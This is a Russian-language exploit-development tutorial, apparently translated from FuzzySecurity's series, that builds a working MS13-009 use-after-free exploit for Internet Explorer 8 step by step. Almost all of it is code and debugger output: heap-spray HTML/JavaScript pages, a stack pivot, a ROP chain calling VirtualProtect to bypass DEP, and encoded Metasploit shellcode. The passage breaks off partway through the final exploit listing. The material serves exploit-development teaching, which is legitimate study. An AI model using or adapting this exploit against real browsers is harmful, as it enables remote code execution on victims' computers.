mshtml!CTreeNode::CTreeNode allocated obj at 002063d0, ref to obj 024ffb50 of type 3cedcfe8
(b54.cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205fb0 ecx=024d0183 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????

0:008> ln 3cee61e8
(3cee61e8)   mshtml!CParaElement::`vftable'   |  (3d071410)   mshtml!CUListElement::`vftable'
Exact matches:
    mshtml!CParaElement::`vftable' = <no type information>

0:008> ln poi(mshtml!CParaElement::`vftable'+0x70)
(3cf76950)   mshtml!CElement::SecurityContext   |  (3cf76980)   mshtml!CElement::Doc
Exact matches:
    mshtml!CElement::SecurityContext (<no parameter info>)

MS13-009 EIP

Как я упоминал ранее, основное внимание здесь уделяется тому, как преодолеть препятствия, с которыми мы сталкиваемся в процессе разработки эксплоита, поэтому у меня не будет времени объяснить, как разместить наш собственный объект в куче. Вместо этого я буду использовать фрагмент из общедоступного эксплоита. Наш новый POC можно увидеть ниже.

JavaScript:
<!doctype html>
<html>
<head>
<script>
 
    var data;
    var objArray = new Array(1150);
 
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
 
    //CollectGarbage();
 
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
 
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
 
</script>
</head>
<body>
<p> </p>
</body>
</html>

Снова обратите внимание на функцию CollectGarbage(). Не стесняйтесь экспериментировать с ней и посмотрите, имеет ли она какое-либо существенное
значение при попытке выделить объект. Давайте посмотрим на отладчик и посмотрим, что произойдет, когда мы выполним этот POC.

Bash:
0:019> g
(ee4.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00205fb0 ecx=024c0018 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????

0:008> d ebx
00205fb0  18 00 4c 02 00 00 00 00-4d 20 ff ff ff ff ff ff  ..L.....M ......
00205fc0  51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  Q...............
00205fd0  00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00  ........R.......
00205fe0  00 00 00 00 00 00 00 00-00 00 00 00 50 f7 4c 02  ............P.L.
00205ff0  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00206000  78 0b a8 ea 00 01 0c ff-f8 1c 4e 02 70 57 20 00  x.........N.pW .
00206010  71 02 02 00 01 00 00 00-71 01 00 00 01 00 00 00  q.......q.......
00206020  80 57 20 00 48 5b 20 00-80 57 20 00 30 60 20 00  .W .H[ ..W .0` .

0:008> d ecx
024c0018  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0028  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0038  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0048  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0058  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0068  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0078  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0088  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................

0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]      /// eax = 0x0c0c0c0c
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]  /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2            call    edx                      /// call DWORD 0x0c0c0c7c

Эта последовательность инструкций в конечном итоге вызовет значение 0x0c0c0c7c (регистр EIP), если 0x0c0c0c7c является допустимым местоположением в памяти, чего не происходит в данный момент. Помните, что наше распыление было настроено для выравнивания переменной шеллкода с адресом 0x0c0c0c0c. Позже мы увидим, почему это необходимо. Просто помните, что мы можем установить для EIP любое желаемое значение, например, значение 0xaaaaaaaaa. Это может быть достигнуто путем перезаписи регистра EAX с 0xaaaaaaaa-0x70 = 0xaaaaaa3a. Вы можете увидеть пример этого ниже.

JavaScript:
<!doctype html>
<html>
<head>
<script>
 
    var data;
    var objArray = new Array(1150);
 
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
 
    //CollectGarbage();
 
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%uaaaa%uaa3a"); //Will set edx to DWORD 0xaaaaaaaa [EIP]
        }
 
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
 
</script>
</head>
<body>
<p> </p>
</body>
</html>

Давайте посмотрим на отладчик, чтобы убедиться, что теперь мы перезапишем регистр EIP значением 0xaaaaaaaa.

Bash:
0:019> g
(8cc.674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=aaaaaa3a ebx=002060a8 ecx=024c00c8 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:aaaaaaaa=????????

0:019> d ecx
024c00c8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00d8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00e8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00f8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0108  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0118  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0128  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0138  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................

MS13-009 Выполнение кода

Мы прошли настоящий путь! Собрав вместе проделанную нами работу, мы можем приступить к выполнению кода. Первым делом стоит создать наш новый POC, который содержит наше распыление и вызывает уязвимость.

JavaScript:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%ub33f');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>

На скриншоте ниже мы видим, что мы переписали EIP значением 0x90909090. Причина этого в том, что EIP получает свое значение из ячейки памяти, расположенной по адресу 0x0c0c0c0c + 0x70 = 0x0c0c0c7c, который указывает на наш ноп-слайд.

3.png



Поначалу это может показаться немного запутанным. Надеюсь, приведенное ниже представление поможет прояснить ситуацию!


Bash:
mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]      /// eax = 0x0c0c0c0c
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]  /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2            call    edx                      /// call DWORD 0x0c0c0c7c


 ________________________
|                        |
|        Padding         |
|                        |
|                        |
|                        |
|                        |
|                        |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode
|       Shellcode        |     variable.
|------------------------|
|                        |
|                        |
|         NOP's          |
|                        |
|                        | <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this
|                        |     address, in this case 0x90909090.
|                        |
|                        |
|                        |
|                        |
|                        |
|     (0x1000 Block)     |
|________________________|

Давайте попробуем дополнить нашу переменную шеллкода, чтобы мы могли точно перезаписать регистр EIP. Мы можем сделать это, добавив нашу unescape ASCII-строку с длиной буфера 0x70 hex (112 байтов = 28 DWORD).


JavaScript:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+   // Padding 0x70 hex!
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%ub33f');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>

Как и ожидалось, теперь у нас есть полный контроль над регистром EIP. Напоминаем, что значение в EIP указано в Little Endian.

4.png


Новый макет нашего шестнадцатеричного блока 0x1000 выглядит следующим образом.

Bash:
|                        |
|        Padding         |
|                        |
|                        |
|                        |
|                        |
|                        |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode
|                        |     variable.
|                        |
|       Shellcode        |
|                        |
|                        |
|                        |
|---------[EIP]----------| <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this
|                        |     address.
|                        |
|         NOP's          |
|                        |
|                        |
|                        |
|     (0x1000 Block)     |
|________________________|

Ок, прекрасно! Теперь мы должны встретить наше следующее препятствие. Наша ROP-цепочка и шеллкод будут расположены в куче, но наш указатель стека ( регистр ESP) указывает куда-то внутрь библиотеки mshtml. Гаджет ROP, который мы выполняем, вернется к следующему адресу в стеке, поэтому нам нужно переместить стек из библиотеки mshtml в область, которой мы управляем в куче (наш байтовый блок 0x1000). Как вы помните, регистр EAX точно указывает на начало нашей переменной шеллкода, поэтому, если мы найдем гаджет ROP, который перемещает регистр EAX в регистр ESP или обменивает их, мы сможем развернуть стек и начать выполнение нашей цепочки ROP с адреса 0x0c0c0c0c.

Я буду использовать гаджеты ROP от библиотеки MSVCR71.dll, которая поставляется в комплекте с java6 и автоматически загружается браузером Internet Explorer. Ниже я включил два текстовых файла, сгенерированных моной: 1) MSVCR71_rop_suggestions.txt, который содержит список тематически организованных гаджетов ROP, и 2) MSVCR71_rop.txt, который содержит необработанный список гаджетов ROP. Если вы хотите поиграть с ними, я предлагаю вам скачать файлы и проанализировать их с помощью регулярных выражений.

MSVCR71_rop_suggestions.txt
MSVCR71_rop.txt
-

Разбирая текстовый файл, мы можем легко найти нужный гаджет. Давайте изменим наш POC и проверим, что все работает как положено.

JavaScript:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    '%u4242%u4242'+  // EIP will be overwritten with 0x42424242 (= BBBB)
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+ 
    '%u8b05%u7c34'); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%ub33f');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>

На скриншотах ниже мы видим, что мы достигли точки останова на инструкции XCHG EAX, ESP, и если мы продолжим поток выполнения, мы успешно развернем стек и попытаемся выполнить первый DWORD по адресу 0x0c0c0c0c.

5.png

6.png


Мы почти расчистили лес. Теперь нам нужно выполнить ROP-цепочку, которая отключает DEP для области памяти, чтобы мы могли выполнить полезную нагрузку второго этапа. К счастью, библиотека MSVCR71.dll неоднократно подвергался насилию со стороны злоумышленников, и уже существует оптимизированная ROP-цепочка для этой библиотеки DLL, которая была создана здесь (https://www.corelan.be/index.php/security/corelan-ropdb/#msvcr71dll_8211_v71030524) corelanc0d3r. Давайте вставим эту цепочку ROP в нашу POC и повторно запустим эксплоит.

JavaScript:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff :
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll]
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll]
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll]
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll]
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll]
    "%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll]
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
    
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%ub33f');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>

На скриншотах мы видим, что мы попали по нашему первому гаджету после поворота стека и что мы достигли нашего мусора после вызова функции VirtualProtect.

7.png


8.png


Осталось только вставить короткий переход в конец нашего ненужного буфера, который переходит через нашу первоначальную перезапись регистр EIP ( гаджет XCHG EAX, ESP # RETN). Любой шеллкод, который мы поместим после нашего короткого перехода, будет выполнен!

JavaScript:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff :
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll]
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll]
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll]
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll]
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll]
    "%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll]
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
    
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
    
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%ub33f');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>

После выполнения нашего короткого перехода мы приземляемся сразу после того, что раньше было регистром EIP, и мы свободны выполнять любой шеллкод по нашему выбору!

9.png


Шеллкод + Конец игры

Время для легкой части. Давайте создадим шеллкод!

Bash:
root@Trident:~# msfpayload windows/messagebox O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 0
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 270
       Rank: Normal

Provided by:
  corelanc0d3r <peter.ve@corelan.be>
  jduck <jduck@metasploit.com>

Basic options:
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  process           yes       Exit technique: seh, thread, process, none
ICON      NO                yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
TITLE     MessageBox        yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text &
  icon


root@Trident:~# msfpayload windows/messagebox text='Bang, bang!' title='b33f' R| msfencode -t js_le
[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)

%ud1bb%u6f46%ud9e9%ud9c7%u2474%u5af4%uc931%u40b1%uc283%u3104%u115a%u5a03%ue211%u9f24%u7284
%u541f%u717f%u47ae%u0ecd%uaee1%u7a56%u0170%u0a1c%uea7e%uef54%uaaf5%u8490%u1377%uac2a%u1cbf
%ua434%ufb4c%u9745%u1d4d%u9c25%ufadd%u2982%u3f58%u7940%u474a%u6857%ufd01%ue74f%u224f%u1c71
%u168c%u6938%udc66%u83bb%u1db7%u9b8a%u4d4b%udb69%u89c7%u13b3%u972a%u47f4%uacc0%ub386%ua600
%u3797%u6c0a%ua359%ue7cc%u7855%ua29b%u7f79%ud970%uf486%u3687%u4e0f%udaa3%u8c71%uea19%uc658
%u0ed4%u2413%u5e8e%ua76a%u0da2%u289b%u4dc5%udea4%ub67c%u9fe0%u54a6%ue765%ubd4a%u0fd8%u42fc
%u3023%uf889%ua7d4%u6ee5%u76c5%u5d9d%u5737%uca39%ud442%u78a4%u4625%u7702%u91bc%u781c%u59eb
%u4429%ud944%ueb81%ua128%uf756%u8b96%u69b0%ud428%u02bf%u0b8e%uf31f%u2e46%uc06c%u9ff0%uae49
%ufba1%u2669%u6cba%u5f1f%u351c%ub3b7%ua77e%ua426%u463c%u53c6%u41f0%ud09e%u5ad6%u0917%u8f27
%u9975%u7d19%ucd86%u41ab%u1128%u499e

Хорошо. Теперь давайте очистим наш POC, добавим комментарии и запустим последний эксплоит. Я хочу еще раз упомянуть, что у этой уязвимости есть некоторые проблемы с надежностью (она срабатывает только 80% случаев)


JavaScript:
<!-----------------------------------------------------------------------------
// Exploit: MS13-009 Use-After-Free IE8 (DEP)                                //
// Author: b33f - http://www.fuzzysecurity.com/                              //
// OS: Tested on XP PRO SP3                                                  //
// Browser: Internet Explorer 8.00.6001.18702                                //
//---------------------------------------------------------------------------//
// This exploit was created for Part 9 of my Exploit Development tutorial    //
// series => http://www.fuzzysecurity.com/tutorials/expDev/11.html           //
------------------------------------------------------------------------------>
 
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff :
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll]
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll]
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll]
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll]
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll]
    "%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll]
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
